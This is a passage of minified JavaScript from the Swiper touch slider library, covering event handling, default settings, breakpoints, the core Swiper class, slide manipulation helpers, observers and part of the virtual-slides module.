s=a(),{params:i,el:r,wrapperEl:n,device:l}=e,o=!!i.nested,d="on"===t?"addEventListener":"removeEventListener",c=t;s[d]("touchstart",e.onDocumentTouchStart,{passive:!1,capture:o}),r[d]("touchstart",e.onTouchStart,{passive:!1}),r[d]("pointerdown",e.onTouchStart,{passive:!1}),s[d]("touchmove",e.onTouchMove,{passive:!1,capture:o}),s[d]("pointermove",e.onTouchMove,{passive:!1,capture:o}),s[d]("touchend",e.onTouchEnd,{passive:!0}),s[d]("pointerup",e.onTouchEnd,{passive:!0}),s[d]("pointercancel",e.onTouchEnd,{passive:!0}),s[d]("touchcancel",e.onTouchEnd,{passive:!0}),s[d]("pointerout",e.onTouchEnd,{passive:!0}),s[d]("pointerleave",e.onTouchEnd,{passive:!0}),s[d]("contextmenu",e.onTouchEnd,{passive:!0}),(i.preventClicks||i.preventClicksPropagation)&&r[d]("click",e.onClick,!0),i.cssMode&&n[d]("scroll",e.onScroll),i.updateOnWindowResize?e[c](l.ios||l.android?"resize orientationchange observerUpdate":"resize observerUpdate",q,!0):e[c]("observerUpdate",q,!0),r[d]("load",e.onLoad,{capture:!0})};const U=(e,t)=>e.grid&&t.grid&&t.grid.rows>1;var K={init:!0,direction:"horizontal",oneWayMovement:!1,touchEventsTarget:"wrapper",initialSlide:0,speed:300,cssMode:!1,updateOnWindowResize:!0,resizeObserver:!0,nested:!1,createElements:!1,eventsPrefix:"swiper",enabled:!0,focusableElements:"input, select, option, textarea, button, video, label",width:null,height:null,preventInteractionOnTransition:!1,userAgent:null,url:null,edgeSwipeDetection:!1,edgeSwipeThreshold:20,autoHeight:!1,setWrapperSize:!1,virtualTranslate:!1,effect:"slide",breakpoints:void 0,breakpointsBase:"window",spaceBetween:0,slidesPerView:1,slidesPerGroup:1,slidesPerGroupSkip:0,slidesPerGroupAuto:!1,centeredSlides:!1,centeredSlidesBounds:!1,slidesOffsetBefore:0,slidesOffsetAfter:0,normalizeSlideIndex:!0,centerInsufficientSlides:!1,watchOverflow:!0,roundLengths:!1,touchRatio:1,touchAngle:45,simulateTouch:!0,shortSwipes:!0,longSwipes:!0,longSwipesRatio:.5,longSwipesMs:300,followFinger:!0,allowTouchMove:!0,threshold:5,touchMoveStopPropagation:!1,touchStartPreventDefault:!0,touchStartForcePreventDefault:!1,touchReleaseOnEdges:!1,uniqueNavElements:!0,resistance:!0,resistanceRatio:.85,watchSlidesProgress:!1,grabCursor:!1,preventClicks:!0,preventClicksPropagation:!0,slideToClickedSlide:!1,loop:!1,loopAddBlankSlides:!0,loopAdditionalSlides:0,loopPreventsSliding:!0,rewind:!1,allowSlidePrev:!0,allowSlideNext:!0,swipeHandler:null,noSwiping:!0,noSwipingClass:"swiper-no-swiping",noSwipingSelector:null,passiveListeners:!0,maxBackfaceHiddenSlides:10,containerModifierClass:"swiper-",slideClass:"swiper-slide",slideBlankClass:"swiper-slide-blank",slideActiveClass:"swiper-slide-active",slideVisibleClass:"swiper-slide-visible",slideFullyVisibleClass:"swiper-slide-fully-visible",slideNextClass:"swiper-slide-next",slidePrevClass:"swiper-slide-prev",wrapperClass:"swiper-wrapper",lazyPreloaderClass:"swiper-lazy-preloader",lazyPreloadPrevNext:0,runCallbacksOnInit:!0,_emitClasses:!1};function Z(e,t){return function(s){void 0===s&&(s={});const a=Object.keys(s)[0],i=s[a];"object"==typeof i&&null!==i?(!0===e[a]&&(e[a]={enabled:!0}),"navigation"===a&&e[a]&&e[a].enabled&&!e[a].prevEl&&!e[a].nextEl&&(e[a].auto=!0),["pagination","scrollbar"].indexOf(a)>=0&&e[a]&&e[a].enabled&&!e[a].el&&(e[a].auto=!0),a in e&&"enabled"in i?("object"!=typeof e[a]||"enabled"in e[a]||(e[a].enabled=!0),e[a]||(e[a]={enabled:!1}),p(t,s)):p(t,s)):p(t,s)}}const Q={eventsEmitter:I,update:O,translate:D,transition:{setTransition:function(e,t){const s=this;s.params.cssMode||(s.wrapperEl.style.transitionDuration=`${e}ms`,s.wrapperEl.style.transitionDelay=0===e?"0ms":""),s.emit("setTransition",e,t)},transitionStart:function(e,t){void 0===e&&(e=!0);const s=this,{params:a}=s;a.cssMode||(a.autoHeight&&s.updateAutoHeight(),G({swiper:s,runCallbacks:e,direction:t,step:"Start"}))},transitionEnd:function(e,t){void 0===e&&(e=!0);const s=this,{params:a}=s;s.animating=!1,a.cssMode||(s.setTransition(0),G({swiper:s,runCallbacks:e,direction:t,step:"End"}))}},slide:X,loop:H,grabCursor:{setGrabCursor:function(e){const t=this;if(!t.params.simulateTouch||t.params.watchOverflow&&t.isLocked||t.params.cssMode)return;const s="container"===t.params.touchEventsTarget?t.el:t.wrapperEl;t.isElement&&(t.__preventObserver__=!0),s.style.cursor="move",s.style.cursor=e?"grabbing":"grab",t.isElement&&requestAnimationFrame((()=>{t.__preventObserver__=!1}))},unsetGrabCursor:function(){const e=this;e.params.watchOverflow&&e.isLocked||e.params.cssMode||(e.isElement&&(e.__preventObserver__=!0),e["container"===e.params.touchEventsTarget?"el":"wrapperEl"].style.cursor="",e.isElement&&requestAnimationFrame((()=>{e.__preventObserver__=!1})))}},events:{attachEvents:function(){const e=this,{params:t}=e;e.onTouchStart=Y.bind(e),e.onTouchMove=B.bind(e),e.onTouchEnd=R.bind(e),e.onDocumentTouchStart=j.bind(e),t.cssMode&&(e.onScroll=_.bind(e)),e.onClick=V.bind(e),e.onLoad=F.bind(e),W(e,"on")},detachEvents:function(){W(this,"off")}},breakpoints:{setBreakpoint:function(){const e=this,{realIndex:t,initialized:s,params:a,el:i}=e,r=a.breakpoints;if(!r||r&&0===Object.keys(r).length)return;const n=e.getBreakpoint(r,e.params.breakpointsBase,e.el);if(!n||e.currentBreakpoint===n)return;const l=(n in r?r[n]:void 0)||e.originalParams,o=U(e,a),d=U(e,l),c=a.enabled;o&&!d?(i.classList.remove(`${a.containerModifierClass}grid`,`${a.containerModifierClass}grid-column`),e.emitContainerClasses()):!o&&d&&(i.classList.add(`${a.containerModifierClass}grid`),(l.grid.fill&&"column"===l.grid.fill||!l.grid.fill&&"column"===a.grid.fill)&&i.classList.add(`${a.containerModifierClass}grid-column`),e.emitContainerClasses()),["navigation","pagination","scrollbar"].forEach((t=>{if(void 0===l[t])return;const s=a[t]&&a[t].enabled,i=l[t]&&l[t].enabled;s&&!i&&e[t].disable(),!s&&i&&e[t].enable()}));const u=l.direction&&l.direction!==a.direction,m=a.loop&&(l.slidesPerView!==a.slidesPerView||u),h=a.loop;u&&s&&e.changeDirection(),p(e.params,l);const f=e.params.enabled,g=e.params.loop;Object.assign(e,{allowTouchMove:e.params.allowTouchMove,allowSlideNext:e.params.allowSlideNext,allowSlidePrev:e.params.allowSlidePrev}),c&&!f?e.disable():!c&&f&&e.enable(),e.currentBreakpoint=n,e.emit("_beforeBreakpoint",l),s&&(m?(e.loopDestroy(),e.loopCreate(t),e.updateSlides()):!h&&g?(e.loopCreate(t),e.updateSlides()):h&&!g&&e.loopDestroy()),e.emit("breakpoint",l)},getBreakpoint:function(e,t,s){if(void 0===t&&(t="window"),!e||"container"===t&&!s)return;let a=!1;const i=r(),n="window"===t?i.innerHeight:s.clientHeight,l=Object.keys(e).map((e=>{if("string"==typeof e&&0===e.indexOf("@")){const t=parseFloat(e.substr(1));return{value:n*t,point:e}}return{value:e,point:e}}));l.sort(((e,t)=>parseInt(e.value,10)-parseInt(t.value,10)));for(let e=0;e<l.length;e+=1){const{point:r,value:n}=l[e];"window"===t?i.matchMedia(`(min-width: ${n}px)`).matches&&(a=r):n<=s.clientWidth&&(a=r)}return a||"max"}},checkOverflow:{checkOverflow:function(){const e=this,{isLocked:t,params:s}=e,{slidesOffsetBefore:a}=s;if(a){const t=e.slides.length-1,s=e.slidesGrid[t]+e.slidesSizesGrid[t]+2*a;e.isLocked=e.size>s}else e.isLocked=1===e.snapGrid.length;!0===s.allowSlideNext&&(e.allowSlideNext=!e.isLocked),!0===s.allowSlidePrev&&(e.allowSlidePrev=!e.isLocked),t&&t!==e.isLocked&&(e.isEnd=!1),t!==e.isLocked&&e.emit(e.isLocked?"lock":"unlock")}},classes:{addClasses:function(){const e=this,{classNames:t,params:s,rtl:a,el:i,device:r}=e,n=function(e,t){const s=[];return e.forEach((e=>{"object"==typeof e?Object.keys(e).forEach((a=>{e[a]&&s.push(t+a)})):"string"==typeof e&&s.push(t+e)})),s}(["initialized",s.direction,{"free-mode":e.params.freeMode&&s.freeMode.enabled},{autoheight:s.autoHeight},{rtl:a},{grid:s.grid&&s.grid.rows>1},{"grid-column":s.grid&&s.grid.rows>1&&"column"===s.grid.fill},{android:r.android},{ios:r.ios},{"css-mode":s.cssMode},{centered:s.cssMode&&s.centeredSlides},{"watch-progress":s.watchSlidesProgress}],s.containerModifierClass);t.push(...n),i.classList.add(...t),e.emitContainerClasses()},removeClasses:function(){const{el:e,classNames:t}=this;e.classList.remove(...t),this.emitContainerClasses()}}},J={};class ee{constructor(){let e,t;for(var s=arguments.length,i=new Array(s),r=0;r<s;r++)i[r]=arguments[r];1===i.length&&i[0].constructor&&"Object"===Object.prototype.toString.call(i[0]).slice(8,-1)?t=i[0]:[e,t]=i,t||(t={}),t=p({},t),e&&!t.el&&(t.el=e);const n=a();if(t.el&&"string"==typeof t.el&&n.querySelectorAll(t.el).length>1){const e=[];return n.querySelectorAll(t.el).forEach((s=>{const a=p({},t,{el:s});e.push(new ee(a))})),e}const l=this;l.__swiper__=!0,l.support=P(),l.device=L({userAgent:t.userAgent}),l.browser=A(),l.eventsListeners={},l.eventsAnyListeners=[],l.modules=[...l.__modules__],t.modules&&Array.isArray(t.modules)&&l.modules.push(...t.modules);const o={};l.modules.forEach((e=>{e({params:t,swiper:l,extendParams:Z(t,o),on:l.on.bind(l),once:l.once.bind(l),off:l.off.bind(l),emit:l.emit.bind(l)})}));const d=p({},K,o);return l.params=p({},d,J,t),l.originalParams=p({},l.params),l.passedParams=p({},t),l.params&&l.params.on&&Object.keys(l.params.on).forEach((e=>{l.on(e,l.params.on[e])})),l.params&&l.params.onAny&&l.onAny(l.params.onAny),Object.assign(l,{enabled:l.params.enabled,el:e,classNames:[],slides:[],slidesGrid:[],snapGrid:[],slidesSizesGrid:[],isHorizontal:()=>"horizontal"===l.params.direction,isVertical:()=>"vertical"===l.params.direction,activeIndex:0,realIndex:0,isBeginning:!0,isEnd:!1,translate:0,previousTranslate:0,progress:0,velocity:0,animating:!1,cssOverflowAdjustment(){return Math.trunc(this.translate/2**23)*2**23},allowSlideNext:l.params.allowSlideNext,allowSlidePrev:l.params.allowSlidePrev,touchEventsData:{isTouched:void 0,isMoved:void 0,allowTouchCallbacks:void 0,touchStartTime:void 0,isScrolling:void 0,currentTranslate:void 0,startTranslate:void 0,allowThresholdMove:void 0,focusableElements:l.params.focusableElements,lastClickTime:0,clickTimeout:void 0,velocities:[],allowMomentumBounce:void 0,startMoving:void 0,pointerId:null,touchId:null},allowClick:!0,allowTouchMove:l.params.allowTouchMove,touches:{startX:0,startY:0,currentX:0,currentY:0,diff:0},imagesToLoad:[],imagesLoaded:0}),l.emit("_swiper"),l.params.init&&l.init(),l}getDirectionLabel(e){return this.isHorizontal()?e:{width:"height","margin-top":"margin-left","margin-bottom ":"margin-right","margin-left":"margin-top","margin-right":"margin-bottom","padding-left":"padding-top","padding-right":"padding-bottom",marginRight:"marginBottom"}[e]}getSlideIndex(e){const{slidesEl:t,params:s}=this,a=y(f(t,`.${s.slideClass}, swiper-slide`)[0]);return y(e)-a}getSlideIndexByData(e){return this.getSlideIndex(this.slides.filter((t=>1*t.getAttribute("data-swiper-slide-index")===e))[0])}recalcSlides(){const{slidesEl:e,params:t}=this;this.slides=f(e,`.${t.slideClass}, swiper-slide`)}enable(){const e=this;e.enabled||(e.enabled=!0,e.params.grabCursor&&e.setGrabCursor(),e.emit("enable"))}disable(){const e=this;e.enabled&&(e.enabled=!1,e.params.grabCursor&&e.unsetGrabCursor(),e.emit("disable"))}setProgress(e,t){const s=this;e=Math.min(Math.max(e,0),1);const a=s.minTranslate(),i=(s.maxTranslate()-a)*e+a;s.translateTo(i,void 0===t?0:t),s.updateActiveIndex(),s.updateSlidesClasses()}emitContainerClasses(){const e=this;if(!e.params._emitClasses||!e.el)return;const t=e.el.className.split(" ").filter((t=>0===t.indexOf("swiper")||0===t.indexOf(e.params.containerModifierClass)));e.emit("_containerClasses",t.join(" "))}getSlideClasses(e){const t=this;return t.destroyed?"":e.className.split(" ").filter((e=>0===e.indexOf("swiper-slide")||0===e.indexOf(t.params.slideClass))).join(" ")}emitSlidesClasses(){const e=this;if(!e.params._emitClasses||!e.el)return;const t=[];e.slides.forEach((s=>{const a=e.getSlideClasses(s);t.push({slideEl:s,classNames:a}),e.emit("_slideClass",s,a)})),e.emit("_slideClasses",t)}slidesPerViewDynamic(e,t){void 0===e&&(e="current"),void 0===t&&(t=!1);const{params:s,slides:a,slidesGrid:i,slidesSizesGrid:r,size:n,activeIndex:l}=this;let o=1;if("number"==typeof s.slidesPerView)return s.slidesPerView;if(s.centeredSlides){let e,t=a[l]?a[l].swiperSlideSize:0;for(let s=l+1;s<a.length;s+=1)a[s]&&!e&&(t+=a[s].swiperSlideSize,o+=1,t>n&&(e=!0));for(let s=l-1;s>=0;s-=1)a[s]&&!e&&(t+=a[s].swiperSlideSize,o+=1,t>n&&(e=!0))}else if("current"===e)for(let e=l+1;e<a.length;e+=1){(t?i[e]+r[e]-i[l]<n:i[e]-i[l]<n)&&(o+=1)}else for(let e=l-1;e>=0;e-=1){i[l]-i[e]<n&&(o+=1)}return o}update(){const e=this;if(!e||e.destroyed)return;const{snapGrid:t,params:s}=e;function a(){const t=e.rtlTranslate?-1*e.translate:e.translate,s=Math.min(Math.max(t,e.maxTranslate()),e.minTranslate());e.setTranslate(s),e.updateActiveIndex(),e.updateSlidesClasses()}let i;if(s.breakpoints&&e.setBreakpoint(),[...e.el.querySelectorAll('[loading="lazy"]')].forEach((t=>{t.complete&&z(e,t)})),e.updateSize(),e.updateSlides(),e.updateProgress(),e.updateSlidesClasses(),s.freeMode&&s.freeMode.enabled&&!s.cssMode)a(),s.autoHeight&&e.updateAutoHeight();else{if(("auto"===s.slidesPerView||s.slidesPerView>1)&&e.isEnd&&!s.centeredSlides){const t=e.virtual&&s.virtual.enabled?e.virtual.slides:e.slides;i=e.slideTo(t.length-1,0,!1,!0)}else i=e.slideTo(e.activeIndex,0,!1,!0);i||a()}s.watchOverflow&&t!==e.snapGrid&&e.checkOverflow(),e.emit("update")}changeDirection(e,t){void 0===t&&(t=!0);const s=this,a=s.params.direction;return e||(e="horizontal"===a?"vertical":"horizontal"),e===a||"horizontal"!==e&&"vertical"!==e||(s.el.classList.remove(`${s.params.containerModifierClass}${a}`),s.el.classList.add(`${s.params.containerModifierClass}${e}`),s.emitContainerClasses(),s.params.direction=e,s.slides.forEach((t=>{"vertical"===e?t.style.width="":t.style.height=""})),s.emit("changeDirection"),t&&s.update()),s}changeLanguageDirection(e){const t=this;t.rtl&&"rtl"===e||!t.rtl&&"ltr"===e||(t.rtl="rtl"===e,t.rtlTranslate="horizontal"===t.params.direction&&t.rtl,t.rtl?(t.el.classList.add(`${t.params.containerModifierClass}rtl`),t.el.dir="rtl"):(t.el.classList.remove(`${t.params.containerModifierClass}rtl`),t.el.dir="ltr"),t.update())}mount(e){const t=this;if(t.mounted)return!0;let s=e||t.params.el;if("string"==typeof s&&(s=document.querySelector(s)),!s)return!1;s.swiper=t,s.parentNode&&s.parentNode.host&&"SWIPER-CONTAINER"===s.parentNode.host.nodeName&&(t.isElement=!0);const a=()=>`.${(t.params.wrapperClass||"").trim().split(" ").join(".")}`;let i=(()=>{if(s&&s.shadowRoot&&s.shadowRoot.querySelector){return s.shadowRoot.querySelector(a())}return f(s,a())[0]})();return!i&&t.params.createElements&&(i=v("div",t.params.wrapperClass),s.append(i),f(s,`.${t.params.slideClass}`).forEach((e=>{i.append(e)}))),Object.assign(t,{el:s,wrapperEl:i,slidesEl:t.isElement&&!s.parentNode.host.slideSlots?s.parentNode.host:i,hostEl:t.isElement?s.parentNode.host:s,mounted:!0,rtl:"rtl"===s.dir.toLowerCase()||"rtl"===b(s,"direction"),rtlTranslate:"horizontal"===t.params.direction&&("rtl"===s.dir.toLowerCase()||"rtl"===b(s,"direction")),wrongRTL:"-webkit-box"===b(i,"display")}),!0}init(e){const t=this;if(t.initialized)return t;if(!1===t.mount(e))return t;t.emit("beforeInit"),t.params.breakpoints&&t.setBreakpoint(),t.addClasses(),t.updateSize(),t.updateSlides(),t.params.watchOverflow&&t.checkOverflow(),t.params.grabCursor&&t.enabled&&t.setGrabCursor(),t.params.loop&&t.virtual&&t.params.virtual.enabled?t.slideTo(t.params.initialSlide+t.virtual.slidesBefore,0,t.params.runCallbacksOnInit,!1,!0):t.slideTo(t.params.initialSlide,0,t.params.runCallbacksOnInit,!1,!0),t.params.loop&&t.loopCreate(),t.attachEvents();const s=[...t.el.querySelectorAll('[loading="lazy"]')];return t.isElement&&s.push(...t.hostEl.querySelectorAll('[loading="lazy"]')),s.forEach((e=>{e.complete?z(t,e):e.addEventListener("load",(e=>{z(t,e.target)}))})),k(t),t.initialized=!0,k(t),t.emit("init"),t.emit("afterInit"),t}destroy(e,t){void 0===e&&(e=!0),void 0===t&&(t=!0);const s=this,{params:a,el:i,wrapperEl:r,slides:n}=s;return void 0===s.params||s.destroyed||(s.emit("beforeDestroy"),s.initialized=!1,s.detachEvents(),a.loop&&s.loopDestroy(),t&&(s.removeClasses(),i.removeAttribute("style"),r.removeAttribute("style"),n&&n.length&&n.forEach((e=>{e.classList.remove(a.slideVisibleClass,a.slideFullyVisibleClass,a.slideActiveClass,a.slideNextClass,a.slidePrevClass),e.removeAttribute("style"),e.removeAttribute("data-swiper-slide-index")}))),s.emit("destroy"),Object.keys(s.eventsListeners).forEach((e=>{s.off(e)})),!1!==e&&(s.el.swiper=null,function(e){const t=e;Object.keys(t).forEach((e=>{try{t[e]=null}catch(e){}try{delete t[e]}catch(e){}}))}(s)),s.destroyed=!0),null}static extendDefaults(e){p(J,e)}static get extendedDefaults(){return J}static get defaults(){return K}static installModule(e){ee.prototype.__modules__||(ee.prototype.__modules__=[]);const t=ee.prototype.__modules__;"function"==typeof e&&t.indexOf(e)<0&&t.push(e)}static use(e){return Array.isArray(e)?(e.forEach((e=>ee.installModule(e))),ee):(ee.installModule(e),ee)}}function te(e,t,s,a){return e.params.createElements&&Object.keys(a).forEach((i=>{if(!s[i]&&!0===s.auto){let r=f(e.el,`.${a[i]}`)[0];r||(r=v("div",a[i]),r.className=a[i],e.el.append(r)),s[i]=r,t[i]=r}})),s}function se(e){return void 0===e&&(e=""),`.${e.trim().replace(/([\.:!+\/])/g,"\\$1").replace(/ /g,".")}`}function ae(e){const t=this,{params:s,slidesEl:a}=t;s.loop&&t.loopDestroy();const i=e=>{if("string"==typeof e){const t=document.createElement("div");t.innerHTML=e,a.append(t.children[0]),t.innerHTML=""}else a.append(e)};if("object"==typeof e&&"length"in e)for(let t=0;t<e.length;t+=1)e[t]&&i(e[t]);else i(e);t.recalcSlides(),s.loop&&t.loopCreate(),s.observer&&!t.isElement||t.update()}function ie(e){const t=this,{params:s,activeIndex:a,slidesEl:i}=t;s.loop&&t.loopDestroy();let r=a+1;const n=e=>{if("string"==typeof e){const t=document.createElement("div");t.innerHTML=e,i.prepend(t.children[0]),t.innerHTML=""}else i.prepend(e)};if("object"==typeof e&&"length"in e){for(let t=0;t<e.length;t+=1)e[t]&&n(e[t]);r=a+e.length}else n(e);t.recalcSlides(),s.loop&&t.loopCreate(),s.observer&&!t.isElement||t.update(),t.slideTo(r,0,!1)}function re(e,t){const s=this,{params:a,activeIndex:i,slidesEl:r}=s;let n=i;a.loop&&(n-=s.loopedSlides,s.loopDestroy(),s.recalcSlides());const l=s.slides.length;if(e<=0)return void s.prependSlide(t);if(e>=l)return void s.appendSlide(t);let o=n>e?n+1:n;const d=[];for(let t=l-1;t>=e;t-=1){const e=s.slides[t];e.remove(),d.unshift(e)}if("object"==typeof t&&"length"in t){for(let e=0;e<t.length;e+=1)t[e]&&r.append(t[e]);o=n>e?n+t.length:n}else r.append(t);for(let e=0;e<d.length;e+=1)r.append(d[e]);s.recalcSlides(),a.loop&&s.loopCreate(),a.observer&&!s.isElement||s.update(),a.loop?s.slideTo(o+s.loopedSlides,0,!1):s.slideTo(o,0,!1)}function ne(e){const t=this,{params:s,activeIndex:a}=t;let i=a;s.loop&&(i-=t.loopedSlides,t.loopDestroy());let r,n=i;if("object"==typeof e&&"length"in e){for(let s=0;s<e.length;s+=1)r=e[s],t.slides[r]&&t.slides[r].remove(),r<n&&(n-=1);n=Math.max(n,0)}else r=e,t.slides[r]&&t.slides[r].remove(),r<n&&(n-=1),n=Math.max(n,0);t.recalcSlides(),s.loop&&t.loopCreate(),s.observer&&!t.isElement||t.update(),s.loop?t.slideTo(n+t.loopedSlides,0,!1):t.slideTo(n,0,!1)}function le(){const e=this,t=[];for(let s=0;s<e.slides.length;s+=1)t.push(s);e.removeSlide(t)}function oe(e){const{effect:t,swiper:s,on:a,setTranslate:i,setTransition:r,overwriteParams:n,perspective:l,recreateShadows:o,getEffectParams:d}=e;let c;a("beforeInit",(()=>{if(s.params.effect!==t)return;s.classNames.push(`${s.params.containerModifierClass}${t}`),l&&l()&&s.classNames.push(`${s.params.containerModifierClass}3d`);const e=n?n():{};Object.assign(s.params,e),Object.assign(s.originalParams,e)})),a("setTranslate",(()=>{s.params.effect===t&&i()})),a("setTransition",((e,a)=>{s.params.effect===t&&r(a)})),a("transitionEnd",(()=>{if(s.params.effect===t&&o){if(!d||!d().slideShadows)return;s.slides.forEach((e=>{e.querySelectorAll(".swiper-slide-shadow-top, .swiper-slide-shadow-right, .swiper-slide-shadow-bottom, .swiper-slide-shadow-left").forEach((e=>e.remove()))})),o()}})),a("virtualUpdate",(()=>{s.params.effect===t&&(s.slides.length||(c=!0),requestAnimationFrame((()=>{c&&s.slides&&s.slides.length&&(i(),c=!1)})))}))}function de(e,t){const s=h(t);return s!==t&&(s.style.backfaceVisibility="hidden",s.style["-webkit-backface-visibility"]="hidden"),s}function ce(e){let{swiper:t,duration:s,transformElements:a,allSlides:i}=e;const{activeIndex:r}=t;if(t.params.virtualTranslate&&0!==s){let e,s=!1;e=i?a:a.filter((e=>{const s=e.classList.contains("swiper-slide-transform")?(e=>{if(!e.parentElement)return t.slides.filter((t=>t.shadowRoot&&t.shadowRoot===e.parentNode))[0];return e.parentElement})(e):e;return t.getSlideIndex(s)===r})),e.forEach((e=>{x(e,(()=>{if(s)return;if(!t||t.destroyed)return;s=!0,t.animating=!1;const e=new window.CustomEvent("transitionend",{bubbles:!0,cancelable:!0});t.wrapperEl.dispatchEvent(e)}))}))}}function pe(e,t,s){const a=`swiper-slide-shadow${s?`-${s}`:""}${e?` swiper-slide-shadow-${e}`:""}`,i=h(t);let r=i.querySelector(`.${a.split(" ").join(".")}`);return r||(r=v("div",a.split(" ")),i.append(r)),r}Object.keys(Q).forEach((e=>{Object.keys(Q[e]).forEach((t=>{ee.prototype[t]=Q[e][t]}))})),ee.use([function(e){let{swiper:t,on:s,emit:a}=e;const i=r();let n=null,l=null;const o=()=>{t&&!t.destroyed&&t.initialized&&(a("beforeResize"),a("resize"))},d=()=>{t&&!t.destroyed&&t.initialized&&a("orientationchange")};s("init",(()=>{t.params.resizeObserver&&void 0!==i.ResizeObserver?t&&!t.destroyed&&t.initialized&&(n=new ResizeObserver((e=>{l=i.requestAnimationFrame((()=>{const{width:s,height:a}=t;let i=s,r=a;e.forEach((e=>{let{contentBoxSize:s,contentRect:a,target:n}=e;n&&n!==t.el||(i=a?a.width:(s[0]||s).inlineSize,r=a?a.height:(s[0]||s).blockSize)})),i===s&&r===a||o()}))})),n.observe(t.el)):(i.addEventListener("resize",o),i.addEventListener("orientationchange",d))})),s("destroy",(()=>{l&&i.cancelAnimationFrame(l),n&&n.unobserve&&t.el&&(n.unobserve(t.el),n=null),i.removeEventListener("resize",o),i.removeEventListener("orientationchange",d)}))},function(e){let{swiper:t,extendParams:s,on:a,emit:i}=e;const n=[],l=r(),o=function(e,s){void 0===s&&(s={});const a=new(l.MutationObserver||l.WebkitMutationObserver)((e=>{if(t.__preventObserver__)return;if(1===e.length)return void i("observerUpdate",e[0]);const s=function(){i("observerUpdate",e[0])};l.requestAnimationFrame?l.requestAnimationFrame(s):l.setTimeout(s,0)}));a.observe(e,{attributes:void 0===s.attributes||s.attributes,childList:void 0===s.childList||s.childList,characterData:void 0===s.characterData||s.characterData}),n.push(a)};s({observer:!1,observeParents:!1,observeSlideChildren:!1}),a("init",(()=>{if(t.params.observer){if(t.params.observeParents){const e=E(t.hostEl);for(let t=0;t<e.length;t+=1)o(e[t])}o(t.hostEl,{childList:t.params.observeSlideChildren}),o(t.wrapperEl,{attributes:!1})}})),a("destroy",(()=>{n.forEach((e=>{e.disconnect()})),n.splice(0,n.length)}))}]);const ue=[function(e){let t,{swiper:s,extendParams:i,on:r,emit:n}=e;i({virtual:{enabled:!1,slides:[],cache:!0,renderSlide:null,renderExternal:null,renderExternalUpdate:!0,addSlidesBefore:0,addSlidesAfter:0}});const l=a();s.virtual={cache:{},from:void 0,to:void 0,slides:[],offset:0,slidesGrid:[]};const o=l.createElement("div");function d(e,t){const a=s.params.virtual;if(a.cache&&s.virtual.cache[t])return s.virtual.cache[t];let i;return a.renderSlide?(i=a.renderSlide.call(s,e,t),"string"==typeof i&&(o.innerHTML=i,i=o.children[0])):i=s.isElement?v("swiper-slide"):v("div",s.params.slideClass),i.setAttribute("data-swiper-slide-index",t),a.renderSlide||(i.innerHTML=e),a.cache&&(s.virtual.cache[t]=i),i}function c(e){const{slidesPerView:t,slidesPerGroup:a,centeredSlides:i,loop:r}=s.params,{addSlidesBefore:l,addSlidesAfter:o}=s.params.virtual,{from:c,to:p,slides:u,slidesGrid:m,offset:h}=s.virtual;s.params.cssMode||s.updateActiveIndex();const g=s.activeIndex||0;let v,w,b;v=s.rtlTranslate?"right":s.isHorizontal()?"left":"top",i?(w=Math.floor(t/2)+a+o,b=Math.floor(t/2)+a+l):(w=t+(a-1)+o,b=(r?t:a)+l);let y=g-b,E=g+w;r||(y=Math.max(y,0),E=Math.min(E,u.length-1));let x=(s.slidesGrid[y]||0)-(s.slidesGrid[0]||0);function S(){s.updateSlides(),s.updateProgress(),s.updateSlidesClasses(),n("virtualUpdate")}if(r&&g>=b?(y-=b,i||(x+=s.slidesGrid[0])):r&&g<b&&(y=-b,i&&(x+=s.slidesGrid[0])),Object.assign(s.virtual,{from:y,to:E,offset:x,slidesGrid:s.slidesGrid,slidesBefore:b,slidesAfter:w}),c===y&&p===E&&!e)return s.slidesGrid!==m&&x!==h&&s.slides.forEach((e=>{e.style[v]=x-Math.abs(s.cssOverflowAdjustment())+"px"})),s.updateProgress(),void n("virtualUpdate");if(s.params.virtual.renderExternal)return s.params.virtual.renderExternal.call(s,{offset:x,from:y,to:E,slides:function(){const e=[];for(let t=y;t<=E;t+=1)e.push(u[t]);return e}()}),void(s.params.virtual.renderExternalUpdate?S():n("virtualUpdate"));const T=[],M=[],C=e=>{let t=e;return e<0?t=u.length+e:t>=u.length&&(t-=u.length),t};if(e)s.slides.filter((e=>e.matches(`.${s.params.slideClass}, swiper-slide`))).forEach((e=>{e.remove()}));else for(let e=c;e<=p;e+=1)if(e<y||e>E){const t=C(e);s.slides.filter((e=>e.matches(`.${s.params.slideClass}[data-swiper-slide-index="${t}"], swiper-slide[data-swiper-slide-index="${t}"]`))).forEach((e=>{e.remove()}))}const P=r?-u.length:0,L=r?2*u.length:u.length;for(let t=P;t<L;t+=1)if(t>=y&&t<=E){const s=C(t);void 0===p||e?M.push(s):(t>p&&M.push(s),t<c&&T.push(s))}if(M.forEach((e=>{s.slidesEl.append(d(u[e],e))})),r)for(let e=T.length-1;e>=0;e-=1){const t=T[e];s.slidesEl.prepend(d(u[t],t))}else T.sort(((e,t)=>t-e)),T.forEach((e=>{s.slidesEl.prepend(d(u[e],e))}));f(s.slidesEl,".swiper-slide, swiper-slide").forEach((e=>{e.style[v]=x-Math.abs(s.cssOverflowAdjustment())+"px"})),S()}r("beforeInit",(()=>{if(!s.params.virtual.enabled)return;let e;if(void 0===s.passedParams.virtual.slides){const t=[...s.slidesEl.children].filter((e=>e.matches(`.${s.params.slideClass}, swiper-slide`)));t&&t.length&&(s.virtual.slides=[...t],e=!0,t.forEach(((e,t)=>{e.setAttribute("data-swiper-slide-index",t),s.virtual.cache[t]=e,e.remove()})))}e||(s.virtual.slides=s.params.virtual.slides),s.classNames.push(`${s.params.containerModifierClass}virtual`),s.params.watchSlidesProgress=!0,s.originalParams.watchSlidesProgress=!0,c()})),r("setTranslate",(()=>{s.params.virtual.enabled&&(s.params.cssMode&&!s._immediateVirtual?(clearTimeout(t),t=setTimeout((()=>{c()}),100)):c())})),r("init update resize",(()=>{s.params.virtual.enabled&&s.params.cssMode&&u(s.wrapperEl,"--swiper-virtual-size",`${s.virtualSize}px`)})),Object.assign(s.virtual,{appendSlide:function(e){if("object"==typeof e&&"length"in e)for(let t=0;t<e.length;t+=1)e[t]&&s.virtual.slides.push(e[t]);else s.virtual.slides.push(e);c(!0)},prependSlide:function(e){const t=s.activeIndex;let a=t+1,i=1;if(Array.isArray(e)){for(let t=0;t<e.length;t+=1)e[t]&&s.virtual.slides.unshift(e[t]);a=t+e.length,i=e.length}else s.virtual.slides.unshift(e);if(s.params.virtual.cache){const e=s.virtual.cache,t={};Object.keys(e).forEach((s=>{const 